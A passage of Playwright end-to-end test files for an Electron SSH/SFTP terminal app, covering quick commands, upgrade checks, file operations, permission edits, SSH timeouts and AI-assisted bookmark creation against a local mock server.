{
command: 'ls',
id: Date.now() + '',
delay: 100
}
]
})
})
// Open quick command box by hovering the trigger
log('open quick command box')
await client.hover('.quick-command-trigger-wrap .ant-btn')
await delay(1000)
// Verify quick command box is visible
// const quickCommandBox = await client.element('.quick-command-box')
// await expect(quickCommandBox).toBeVisible()
// Click the quick command created in previous test
log('execute quick command')
await client.click('.qm-item')
await delay(1000)
// Get new terminal content
const newContent = await getTerminalContent(client)
// Verify command was executed
await expect(newContent.length).toBeGreaterThan(initialContent.length)
await electronApp.close().catch(console.log)
})
})
+64
View File
@@ -0,0 +1,64 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const delay = require('./common/wait')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const log = require('./common/log')
const { expect } = require('./common/expect')
describe('auto upgrade check', function () {
it('auto upgrade check should work', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
let v = ''
while (v !== '0.0.0') {
v = await client.evaluate(() => {
if (window.et) {
console.log('no retry set version')
window.et.version = '0.0.0'
return '0.0.0'
}
console.log('retry set version')
return ''
})
await delay(2)
}
console.log('v', v)
const len1 = 10000
const sel = '.animate.upgrade-panel'
for (let i = 0; i < len1; i++) {
await delay(500)
if (await client.elemExist(sel)) {
break
}
}
log('should show upgrade info')
log('start download upgrade')
await client.click('.upgrade-panel .ant-btn-primary')
const fr = {}
const len = 200
for (let i = 0; i < len; i++) {
await delay(500)
const txt = await client.getText('.upgrade-panel .ant-btn-primary')
console.log('txt', txt)
if (txt.includes('Upgrading... 0% Cancel')) {
fr.zero = 1
} else if (
txt.includes('% Cancel')
) {
fr.progress = 1
}
if (fr.zero && fr.progress) {
break
}
}
expect(fr.progress).equal(1)
expect(fr.zero).equal(1)
await electronApp.close().catch(console.log)
})
})
+30
View File
@@ -0,0 +1,30 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const delay = require('./common/wait')
const log = require('./common/log')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
describe('Upgrade check', function () {
it('Upgrade check should work', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(4500)
log('button:about')
await client.click('.btns .open-about-icon')
await delay(2500)
const sel = '.custom-modal-wrap .ant-tabs-nav-list .ant-tabs-tab-active'
await client.hasElem(sel)
await client.click('.about-wrap .ant-btn-primary')
await delay(500)
await client.hasElem('.update-msg')
await electronApp.close().catch(console.log)
})
})
@@ -0,0 +1,80 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const delay = require('./common/wait')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { expect } = require('./common/expect')
const {
setupSftpConnection,
createFolder,
deleteItem,
selectAllContextMenu
} = require('./common/common')
describe('File List Context Menu Select All Operation', function () {
it('should select all items using context menu and verify single click behavior for both local and remote file lists', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
// Set up SSH connection first for remote testing
await setupSftpConnection(client)
// Test for both local and remote
await testSelectAll(client, 'local')
await testSelectAll(client, 'remote')
await electronApp.close()
})
})
async function testSelectAll (client, type) {
// Create two test folders
const folderName1 = `test-folder-1-${Date.now()}`
const folderName2 = `test-folder-2-${Date.now()}`
await createFolder(client, type, folderName1)
await createFolder(client, type, folderName2)
// Select all items using context menu
await selectAllContextMenu(client, type)
// Check if all real file items have the 'selected' class
let fileItems = await client.locator(`.session-current .file-list.${type} .real-file-item`)
let count = await fileItems.count()
expect(count).toBeGreaterThanOrEqual(2)
for (let i = 0; i < count; i++) {
const hasSelectedClass = await fileItems.nth(i).evaluate(el => el.classList.contains('selected'))
expect(hasSelectedClass).toBe(true)
}
// Click on a single file item to deselect all except the clicked one
await client.click(`.session-current .file-list.${type} .real-file-item`)
await delay(500)
// Check that only the clicked item has the 'selected' class
fileItems = await client.locator(`.session-current .file-list.${type} .real-file-item`)
count = await fileItems.count()
let selectedCount = 0
for (let i = 0; i < count; i++) {
const hasSelectedClass = await fileItems.nth(i).evaluate(el => el.classList.contains('selected'))
if (hasSelectedClass) {
selectedCount++
}
}
expect(selectedCount).toBe(1)
// Deselect all for the next test by clicking on empty space
await client.click(`.session-current .file-list.${type}`)
await delay(500)
// Clean up - delete the test folders
await deleteItem(client, type, folderName1)
await deleteItem(client, type, folderName2)
}
+180
View File
@@ -0,0 +1,180 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const delay = require('./common/wait')
const { getTerminalContent } = require('./common/basic-terminal-test')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { expect } = require('./common/expect')
const {
setupSftpConnection,
createFolder,
deleteItem,
accessFolderFromTerminal,
renameItem,
enterFolder,
navigateToParentFolder,
verifyFileExists,
verifyCurrentPath,
clickSftpTab,
countFileListItems
} = require('./common/common')
describe('file-item-context-menu', function () {
it('should test gotoFolderInTerminal function', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
// Click sftp tab first
await clickSftpTab(client)
// Create a new folder
const folderName = 'test-folder-' + Date.now()
await createFolder(client, 'local', folderName)
// Access folder from terminal
await accessFolderFromTerminal(client, 'local', folderName)
// Verify terminal has cd command and folder name
const terminalContent = await getTerminalContent(client)
expect(terminalContent.includes('cd ')).toBe(true)
expect(terminalContent.includes(folderName)).toBe(true)
// Clean up - delete the test folder
await clickSftpTab(client)
await deleteItem(client, 'local', folderName)
await electronApp.close()
})
it('should test gotoFolderInTerminal function in SSH session', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
// Set up SSH connection
await setupSftpConnection(client)
// Create a new folder in local first
const localFolderName = 'test-local-folder-' + Date.now()
await createFolder(client, 'local', localFolderName)
// Create a new folder in remote
const remoteFolderName = 'test-ssh-folder-' + Date.now()
await createFolder(client, 'remote', remoteFolderName)
// Verify local folder does not have "Access this folder from terminal" option
await client.rightClick(`.file-list.local .sftp-item[title="${localFolderName}"]`, 10, 10)
await delay(500)
const localContextMenu = await client.locator('.ant-dropdown:not(.ant-dropdown-hidden)')
const localHasTerminalAccess = await localContextMenu.locator('.ant-dropdown-menu-item:has-text("Access this folder from the terminal")').count()
expect(localHasTerminalAccess).toBe(0)
// Close context menu
await client.click('.session-current .sftp-panel-title')
await delay(500)
// Access remote folder from terminal
await accessFolderFromTerminal(client, 'remote', remoteFolderName)
// Verify terminal has cd command and folder name
const terminalContent = await getTerminalContent(client)
expect(terminalContent.includes('cd ')).toBe(true)
expect(terminalContent.includes(remoteFolderName)).toBe(true)
// Clean up - delete both test folders
await clickSftpTab(client)
await deleteItem(client, 'local', localFolderName)
await deleteItem(client, 'remote', remoteFolderName)
await electronApp.close()
})
it('should test rename function for folders in context menu for both local and remote', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
// Set up SSH connection
await setupSftpConnection(client)
// Test local folder rename
const localFolderName = 'test-local-rename-folder-' + Date.now()
await createFolder(client, 'local', localFolderName)
const newLocalFolderName = 'renamed-' + localFolderName
await renameItem(client, 'local', localFolderName, newLocalFolderName)
expect(await verifyFileExists(client, 'local', newLocalFolderName)).toBe(true)
// Test remote folder rename
const remoteFolderName = 'test-remote-rename-folder-' + Date.now()
await createFolder(client, 'remote', remoteFolderName)
const newRemoteFolderName = 'renamed-' + remoteFolderName
await renameItem(client, 'remote', remoteFolderName, newRemoteFolderName)
expect(await verifyFileExists(client, 'remote', newRemoteFolderName)).toBe(true)
// Clean up - delete the test folders
await deleteItem(client, 'local', newLocalFolderName)
await deleteItem(client, 'remote', newRemoteFolderName)
await electronApp.close()
})
it('should test enter folder context menu and verify folder content for both remote and local', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
// Set up SSH connection
await setupSftpConnection(client)
// Test remote file system
const remoteFolderName = 'test-remote-enter-folder-' + Date.now()
await createFolder(client, 'remote', remoteFolderName)
// Enter remote folder
await enterFolder(client, 'remote', remoteFolderName)
// Verify remote folder content
expect(await verifyCurrentPath(client, 'remote', remoteFolderName)).toBe(true)
expect(await countFileListItems(client, 'remote', '.sftp-item')).toBe(2)
expect(await countFileListItems(client, 'remote', '.parent-file-item')).toBe(1)
// Go back to remote parent directory
await navigateToParentFolder(client, 'remote')
expect(await verifyCurrentPath(client, 'remote', remoteFolderName)).toBe(false)
// Test local file system
const localFolderName = 'test-local-enter-folder-' + Date.now()
await createFolder(client, 'local', localFolderName)
// Enter local folder
await enterFolder(client, 'local', localFolderName)
// Verify local folder content
expect(await verifyCurrentPath(client, 'local', localFolderName)).toBe(true)
expect(await countFileListItems(client, 'local', '.sftp-item')).toBe(2)
expect(await countFileListItems(client, 'local', '.parent-file-item')).toBe(1)
// Go back to local parent directory
await navigateToParentFolder(client, 'local')
expect(await verifyCurrentPath(client, 'local', localFolderName)).toBe(false)
// Clean up - delete the test folders
await deleteItem(client, 'remote', remoteFolderName)
await deleteItem(client, 'local', localFolderName)
await electronApp.close()
})
})
+102
View File
@@ -0,0 +1,102 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(10000000)
const delay = require('./common/wait')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { expect } = require('./common/expect')
const {
setupSftpConnection,
createFile,
createFolder,
deleteItem,
copyItem,
pasteItem,
enterFolder,
navigateToParentFolder
} = require('./common/common')
describe('file-copy-paste-operation', function () {
it('should test file copy and paste operations', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
await setupSftpConnection(client)
// Test for both local and remote
await testCopyPasteOperation(client, 'local')
await testCopyPasteOperation(client, 'remote')
await electronApp.close()
})
})
async function testCopyPasteOperation (client, type) {
// Create a main test folder to contain all test operations
const mainTestFolderName = `test-copy-paste-${Date.now()}`
await createFolder(client, type, mainTestFolderName)
// Enter the main test folder
await enterFolder(client, type, mainTestFolderName)
// Create a test file
const fileName = `original-file-${Date.now()}.js`
await createFile(client, type, fileName)
// Copy the file
await copyItem(client, type, fileName)
// Give more time for the clipboard to update
await delay(2000)
// Test 1: Paste in the same directory
await pasteItem(client, type)
// Verify that a renamed file was created
const renamedFiles = await client.locator(`.session-current .file-list.${type} .sftp-item[title*="${fileName.slice(0, -3)}("]`)
const count = await renamedFiles.count()
expect(count).toBeGreaterThanOrEqual(1)
// Verify the renamed file follows the pattern
const renamedFileName = await renamedFiles.first().getAttribute('title')
expect(renamedFileName).toMatch(/^original-file-\d+\([\w\d-]+\)\.js$/)
// Test 2: Create folder, paste into subfolder
// Create a subfolder
const subFolderName = `sub-folder-${Date.now()}`
await createFolder(client, type, subFolderName)
// Copy the original file again
await copyItem(client, type, fileName)
// Give more time for the clipboard to update
await delay(2000)
// Enter the subfolder
await enterFolder(client, type, subFolderName)
// Paste the file in the subfolder
await pasteItem(client, type)
// Give time for the paste to complete
await delay(2000)
// Verify the file was created in the subfolder
const copiedFiles = await client.locator(`.session-current .file-list.${type} .sftp-item[title="${fileName}"]`)
const copiedCount = await copiedFiles.count()
expect(copiedCount).toBe(1)
// Navigate back to main test folder
await navigateToParentFolder(client, type)
// Navigate back to the parent folder (outside the main test folder)
await navigateToParentFolder(client, type)
// Clean up - delete the entire main test folder with all its contents
await deleteItem(client, type, mainTestFolderName)
}
@@ -0,0 +1,96 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(10000000)
const delay = require('./common/wait')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { expect } = require('./common/expect')
const {
setupSftpConnection,
createFile,
createFolder,
enterFolder,
copyItem,
pasteItem,
deleteItem
} = require('./common/common')
describe('file-copy-paste-operation-keyboard', function () {
it('should test file copy and paste operations using keyboard shortcuts', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
await setupSftpConnection(client)
// Test for both local and remote
await testCopyPasteOperationWithKeyboard(client, 'local')
await testCopyPasteOperationWithKeyboard(client, 'remote')
await electronApp.close()
})
})
async function testCopyPasteOperationWithKeyboard (client, type) {
// Create a main test folder to contain all test operations
const mainTestFolderName = `test-keyboard-copy-paste-${Date.now()}`
await createFolder(client, type, mainTestFolderName)
// Enter the main test folder
await enterFolder(client, type, mainTestFolderName)
// Create a test file
const fileName = `keyboard-copy-file-${Date.now()}.js`
await createFile(client, type, fileName)
// Copy the file using keyboard shortcut - only need to copy once
await copyItem(client, type, fileName)
// Give time for the clipboard to update
await delay(2000)
// Test 1: Paste in the same directory using keyboard shortcut
await pasteItem(client, type)
// Verify that a renamed file was created
const renamedFiles = await client.locator(`.session-current .file-list.${type} .sftp-item[title*="${fileName.slice(0, -3)}("]`)
const count = await renamedFiles.count()
expect(count).toBeGreaterThanOrEqual(1)
// Verify the renamed file follows the pattern
const renamedFileName = await renamedFiles.first().getAttribute('title')
expect(renamedFileName).toMatch(/^keyboard-copy-file-\d+\([\w\d-]+\)\.js$/)
// Test 2: Create folder, paste into subfolder using keyboard shortcuts
const subFolderName = `keyboard-sub-folder-${Date.now()}`
await createFolder(client, type, subFolderName)
// Enter the subfolder
await enterFolder(client, type, subFolderName)
// Paste the file in the subfolder using keyboard shortcut
await pasteItem(client, type)
// Give time for the paste to complete
await delay(2000)
// Verify the file was created in the subfolder
const copiedFiles = await client.locator(`.session-current .file-list.${type} .sftp-item[title="${fileName}"]`)
const copiedCount = await copiedFiles.count()
expect(copiedCount).toBe(1)
// Navigate back to main test folder
await client.doubleClick(`.session-current .file-list.${type} .parent-file-item`)
await delay(3000)
// Navigate back to the parent folder (outside the main test folder)
await client.doubleClick(`.session-current .file-list.${type} .parent-file-item`)
await delay(3000)
// Clean up - delete the entire main test folder with all its contents
await deleteItem(client, type, mainTestFolderName)
}
+55
View File
@@ -0,0 +1,55 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const delay = require('./common/wait')
const log = require('./common/log')
const { expect } = require('./common/expect')
const appOptions = require('./common/app-options')
const e = require('./common/lang')
const extendClient = require('./common/client-extend')
describe('terminal themes', function () {
it('all buttons open proper terminal themes tab', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
log('button:edit')
await client.click('.btns .anticon-picture')
await delay(500)
const sel = '.setting-wrap .ant-tabs-nav-list .ant-tabs-tab-active'
await client.hasElem(sel)
await delay(500)
const text = await client.getText(sel)
expect(text).equal(e('uiThemes'))
const v = await client.getValue('.setting-wrap #terminal-theme-form_themeName')
const tx = await client.getText('.setting-wrap .item-list-unit.active')
const txd = await client.getText('.setting-wrap .item-list-unit.current')
expect(v).equal(e('newTheme'))
expect(tx).equal(e('newTheme'))
expect(txd).equal(e('default'))
// create theme
log('create theme')
const themePrev = await client.evaluate(() => {
return window.store.terminalThemes.length
})
const themeIterm = await client.evaluate(() => {
return window.store.itermThemes.length
})
await client.click('.setting-wrap .ant-btn-primary')
const themeNow = await client.evaluate(() => {
return window.store.terminalThemes.length
})
await delay(1000)
expect(themeNow).equal(themePrev + 1)
expect(themeIterm > 10).equal(true)
await electronApp.close().catch(console.log)
})
})
+169
View File
@@ -0,0 +1,169 @@
const { _electron: electron } = require('@playwright/test')
const { test: it, expect } = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const delay = require('./common/wait')
const nanoid = require('./common/uid')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { setupSftpConnection } = require('./common/common')
describe('file info modal', function () {
it('should open window and basic file info modal works for both local and remote', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
// Create SSH connection
await setupSftpConnection(client)
// Test local file info modal
await testFileInfoModal(client, 'local', 'click')
await electronApp.close().catch(console.log)
})
it('should test edit permission functionality for both local and remote files', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
// Create SSH connection
await setupSftpConnection(client)
// Test local file edit permission
await testEditFolderPermission(client, 'local')
// Test remote file edit permission
await testEditFolderPermission(client, 'remote')
await electronApp.close().catch(console.log)
})
})
async function testEditFolderPermission (client, folderType) {
const folderName = `${folderType}-test-folder-${nanoid()}`
// Create a new folder
await client.rightClick(`.session-current .file-list.${folderType} .parent-file-item`, 10, 10)
await delay(500)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("New Folder")')
await delay(200)
await client.setValue('.session-current .sftp-item input', folderName)
await client.click('.session-current .sftp-panel-title')
await delay(2500)
// Right-click on the folder and select "Edit Permission"
await client.rightClick(`.session-current .file-list.${folderType} .sftp-item[title="${folderName}"]`, 10, 10)
await delay(500)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Edit Permission")')
await delay(1000)
// Verify that the edit permission modal is open
await client.hasElem('.custom-modal-container')
// Check if the modal title is "Edit Folder Permission"
const modalTitle = await client.getText('.custom-modal-title')
expect(modalTitle).toBe('Edit Folder Permission')
// Change a specific permission (e.g., 'other' 'write')
const targetGroup = 'other'
const targetPermission = 'write'
const buttonSelector = `.custom-modal-container .pd1b:has-text("${targetGroup}") .ant-btn:has-text("${targetPermission}")`
const initialClass = await client.getAttribute(buttonSelector, 'class')
const initiallyActive = initialClass.includes('ant-btn-primary')
await client.click(buttonSelector)
await delay(200)
const newClass = await client.getAttribute(buttonSelector, 'class')
const nowActive = newClass.includes('ant-btn-primary')
console.log(`${targetGroup} ${targetPermission}: Initial: ${initiallyActive}, Now: ${nowActive}`)
expect(nowActive).not.toBe(initiallyActive)
// Save the changes
await client.click('.custom-modal-footer .ant-btn-primary')
await delay(2000)
// Verify that the modal is closed
await client.hasElem('.custom-modal-container', false)
// Open folder properties to check if permissions were updated
await client.rightClick(`.session-current .file-list.${folderType} .sftp-item[title="${folderName}"]`, 10, 10)
await delay(500)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .anticon-info-circle')
await delay(1200)
// Verify that the specific permission was updated in the folder properties
const infoButtonClass = await client.getAttribute(buttonSelector, 'class')
const infoButtonActive = infoButtonClass.includes('ant-btn-primary')
expect(infoButtonActive).toBe(nowActive)
// Close the folder properties modal
await client.click('.custom-modal-close')
await delay(300)
// Clean up - delete the test folder
await client.click(`.session-current .file-list.${folderType} .sftp-item[title="${folderName}"]`)
await delay(400)
await client.keyboard.press('Delete')
await delay(400)
await client.keyboard.press('Enter')
await delay(2500)
// Verify folder is deleted
await client.hasElem(`.session-current .file-list.${folderType} .sftp-item[title="${folderName}"]`, false)
}
async function testFileInfoModal (client, fileType, closeMethod) {
const fname = `${fileType}-test-electerm-${nanoid()}`
// Create a new folder
await client.rightClick(`.session-current .file-list.${fileType} .real-file-item`, 10, 10)
await delay(500)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .anticon-folder-add')
await delay(200)
await client.setValue('.session-current .sftp-item input', fname)
await client.click('.session-current .sftp-panel-title')
await delay(2500)
// Verify folder was created
await client.hasElem(`.session-current .file-list.${fileType} .sftp-item[title="${fname}"]`)
// Open info modal
await client.rightClick(`.session-current .file-list.${fileType} .sftp-item[title="${fname}"]`, 10, 10)
await delay(200)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .anticon-info-circle')
await delay(1200)
// Verify modal content and visibility
await client.hasElem('.custom-modal-container')
await client.hasElem('.custom-modal-container')
await client.hasElem('.custom-modal-wrap .file-props')
// Close modal using different methods
if (closeMethod === 'click') {
await client.click('.custom-modal-close')
} else {
await client.keyboard.press('Escape')
}
await delay(300)
// Verify modal is closed
await client.hasElem('.custom-modal-container', false)
// Delete the test folder
await client.click(`.session-current .file-list.${fileType} .sftp-item[title="${fname}"]`)
await delay(400)
await client.keyboard.press('Delete')
await delay(400)
await client.keyboard.press('Enter')
await delay(2500)
// Verify folder is deleted
await client.hasElem(`.session-current .file-list.${fileType} .sftp-item[title="${fname}"]`, false)
}
+78
View File
@@ -0,0 +1,78 @@
/**
* timeout setting
* need TEST_HOST TEST_PASS TEST_USER env set
*/
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const { expect } = require('./common/expect')
const delay = require('./common/wait')
const log = require('./common/log')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { closeApp, setupSshConnection } = require('./common/common')
describe('timeout setting', function () {
it('timeout setting works', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(6000)
log('0101.timeout-setting.spec.js: set timeout to 100')
await client.evaluate(() => {
window.store.setConfig({
sshReadyTimeout: 100
})
})
await delay(400)
const timeout = await client.evaluate(() => {
return window.store.config.sshReadyTimeout
})
await delay(150)
expect(timeout).equal(100)
log('0101.timeout-setting.spec.js: open new ssh and timeout')
await setupSshConnection(client)
log('0101.timeout-setting.spec.js: ssh form submitted')
await delay(5500)
log('0101.timeout-setting.spec.js: waited after submit')
const errSel = '.terminal-error-handle .ant-alert-title'
log('0101.timeout-setting.spec.js: starting error check loop')
for (let i = 0; i < 25; i++) {
await delay(500)
const errExist = await client.elemExist(errSel)
if (errExist) {
log('0101.timeout-setting.spec.js: error found at iteration ' + i)
break
}
}
const txt = await client.getText(errSel)
log('0101.timeout-setting.spec.js: error text: ' + txt)
expect(txt.includes('Timed out')).equal(true)
log('0101.timeout-setting.spec.js: set timeout to 50000')
await delay(1500)
await client.evaluate(() => {
window.store.setConfig({
sshReadyTimeout: 50000
})
})
await delay(1555)
const timeout1 = await client.evaluate(() => {
return window.store.config.sshReadyTimeout
})
await delay(150)
expect(timeout1).equal(50000)
log('0101.timeout-setting.spec.js: timeout set to 50000 verified')
await delay(400)
log('0101.timeout-setting.spec.js: closing app')
await closeApp(electronApp, __filename)
log('0101.timeout-setting.spec.js: app closed')
})
})
+187
View File
@@ -0,0 +1,187 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const delay = require('./common/wait')
const log = require('./common/log')
const { expect } = require('./common/expect')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { spawn } = require('child_process')
const path = require('path')
describe('AI Create Bookmark', function () {
let aiServer
it.beforeAll(async () => {
const serverPath = path.join(__dirname, 'common', 'ai-api.js')
aiServer = spawn('node', [serverPath])
await new Promise(resolve => setTimeout(resolve, 1000))
})
it.afterAll(() => {
if (aiServer) {
aiServer.kill()
}
})
it('should configure AI and create bookmark using AI', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(5500)
log('clear AI config to trigger AI config page')
await client.evaluate(() => {
return window.store.setConfig({
modelAI: ''
})
})
log('open bookmarks page')
await client.click('.btns .anticon-plus-circle')
await delay(2500)
const sel = '.setting-wrap .ant-tabs-nav-list .ant-tabs-tab-active'
await client.hasElem(sel)
const text = await client.getText(sel)
expect(text).equal('Bookmarks')
log('click AI create bookmark button - should open AI config')
const aiCreateBtn = client.locator('.create-ai-btn')
await aiCreateBtn.click()
await delay(1000)
log('verify AI config form is shown')
await client.hasElem('.ai-config-modal .ai-config-form')
log('fill AI configuration form')
await client.setValue('#baseURLAI', 'http://localhost:43434')
await client.setValue('#apiPathAI', '/chat/completions')
await client.setValue('#modelAI', 'gpt-3.5-turbo')
await client.setValue('#apiKeyAI', 'test-api-key')
await client.setValue('#roleAI', 'You are a helpful assistant')
await client.setValue('#languageAI', 'English')
log('save AI configuration')
await client.click('.ai-config-form button[type="submit"]')
await delay(1000)
// log('close setting panel')
// await client.click('.custom-modal-close')
// await delay(1000)
log('open bookmarks page again')
await client.click('.btns .anticon-plus-circle')
await delay(2500)
log('click AI create bookmark button again')
const aiCreateBtn2 = client.locator('.create-ai-btn')
await aiCreateBtn2.click()
await delay(1000)
log('verify AI bookmark form is shown')
await client.hasElem('.ai-bookmark-form')
log('enter description for bookmark')
const testDescription = 'A test SSH server for development'
await client.setValue('.ai-bookmark-form textarea', testDescription)
log('click generate button')
const generateBtn = client.locator('.ai-bookmark-form button:has-text("Submit")')
await generateBtn.click()
await delay(1500)
log('verify modal and JSON preview')
await client.hasElem('.custom-modal-wrap')
const jsonPreview = client.locator('.ai-bookmark-json-preview')
await client.hasElem('.ai-bookmark-json-preview')
const previewText = await jsonPreview.textContent()
expect(previewText).toContain('Test Server')
expect(previewText).toContain('test.example.com')
log('toggle to edit mode')
const editBtn = client.locator('.ai-action-buttons .anticon-edit')
await editBtn.click()
await delay(500)
log('verify editor is shown')
await client.hasElem('.simple-editor')
log('edit title and port in editor')
const timestamp = Date.now()
const editor = client.locator('.simple-editor textarea')
const editorContent = await editor.inputValue()
const updatedContent = editorContent
.replace('"title": "Test Server"', `"title": "Test Server ${timestamp}"`)
.replace('"port": 22', '"port": 23')
await editor.fill(updatedContent)
await delay(500)
log('toggle back to preview mode')
const previewBtn = client.locator('.ai-action-buttons .anticon-eye')
await previewBtn.click()
await delay(500)
log('verify preview shows updated port')
const updatedPreview = client.locator('.ai-bookmark-json-preview')
const updatedPreviewText = await updatedPreview.textContent()
expect(updatedPreviewText).toContain('"port": 23')
expect(updatedPreviewText).toContain(`"title": "Test Server ${timestamp}"`)
log('test copy button')
const copyBtn = client.locator('.ai-action-buttons .anticon-copy')
await copyBtn.click()
await delay(500)
log('verify clipboard content')
const clipboardContent = await client.readClipboard()
expect(clipboardContent).toContain('"port": 23')
log('confirm bookmark creation')
const confirmBtn = client.locator('.custom-modal-wrap .custom-modal-footer-buttons button:has-text("Confirm")')
await confirmBtn.click()
await delay(1000)
log('verify bookmark was created with updated port')
const bookmarks = await client.evaluate(() => {
return window.store.bookmarks
})
const createdBookmark = bookmarks.find(b =>
b.title && b.title.includes(timestamp.toString())
)
expect(createdBookmark).toBeDefined()
expect(createdBookmark.title).toContain(timestamp.toString())
expect(createdBookmark.host).toEqual('test.example.com')
expect(createdBookmark.port).toEqual(23)
expect(createdBookmark.username).toEqual('testuser')
expect(createdBookmark.type).toEqual('ssh')
expect(createdBookmark.enableSsh).toEqual(true)
expect(createdBookmark.enableSftp).toEqual(true)
expect(createdBookmark.useSshAgent).toEqual(true)
expect(createdBookmark.x11).toEqual(false)
expect(createdBookmark.term).toEqual('xterm-256color')
expect(createdBookmark.displayRaw).toEqual(false)
expect(createdBookmark.authType).toEqual('password')
expect(createdBookmark.encode).toEqual('utf8')
expect(createdBookmark.envLang).toEqual('en_US.UTF-8')
await delay(500)
log('verify AI bookmark form is shown')
await client.hasElem('.ai-bookmark-form')
log('click cancel button to return to normal form')
const cancelBtn = client.locator('.ai-bookmark-form .ant-btn .anticon-close').first()
await cancelBtn.click()
await delay(1500)
log('verify returned to normal bookmark edit form')
await client.hasElem('.form-wrap #ssh-form_host')
await electronApp.close().catch(console.log)
})
})
+250
View File
@@ -0,0 +1,250 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(1000000)
const delay = require('./common/wait')
const log = require('./common/log')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { expect } = require('./common/expect')
const {
setupSftpConnection,
createFile,
createFolder,
enterFolder,
navigateToParentFolder,
deleteItem,
selectAllContextMenu,
verifyFileTransfersComplete,
closeApp
} = require('./common/common')
describe('file-transfer-conflict-resolution', function () {
it('should handle bidirectional file transfer conflicts with different resolution policies', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
log('018.file-transfer-conflict.spec.js: app launched')
await setupSftpConnection(client)
log('018.file-transfer-conflict.spec.js: sftp connected')
await delay(2000)
// Create a single test folder structure for all tests
const timestamp = Date.now()
const testFolder = `conflict-test-${timestamp}`
try {
// Create and prepare test environment
await prepareTestEnvironment(client, testFolder)
log('018.file-transfer-conflict.spec.js: test environment prepared')
// Test conflict policies in both directions
await testAllConflictPolicies(client, testFolder)
log('018.file-transfer-conflict.spec.js: conflict policies tested')
} finally {
// Clean up test folders once at the end
await cleanupTestFolders(client, testFolder)
log('018.file-transfer-conflict.spec.js: test folders cleaned')
}
await closeApp(electronApp, __filename)
log('018.file-transfer-conflict.spec.js: app closed')
})
})
async function prepareTestEnvironment (client, testFolder) {
// Create main test folder in both locations
await createFolder(client, 'local', testFolder)
await delay(1000)
await createFolder(client, 'remote', testFolder)
await delay(1000)
// Enter both folders
await enterFolder(client, 'local', testFolder)
await delay(1000)
await enterFolder(client, 'remote', testFolder)
await delay(1000)
// Create test files and folders in local only
const testFiles = [
'test-file-1.txt',
'test-file-2.txt',
'test-file-3.txt'
]
const testFolders = [
'test-folder-1',
'test-folder-2',
'test-folder-3'
]
// Create files in local
for (const fileName of testFiles) {
await createFile(client, 'local', fileName)
await delay(500)
}
// Create folders in local
for (const folderName of testFolders) {
await createFolder(client, 'local', folderName)
await delay(500)
}
// Now upload everything to the remote to create identical structure
await uploadAllToRemote(client)
}
async function uploadAllToRemote (client) {
// Select all local items
await selectAllContextMenu(client, 'local')
await delay(1000)
// Upload to remote
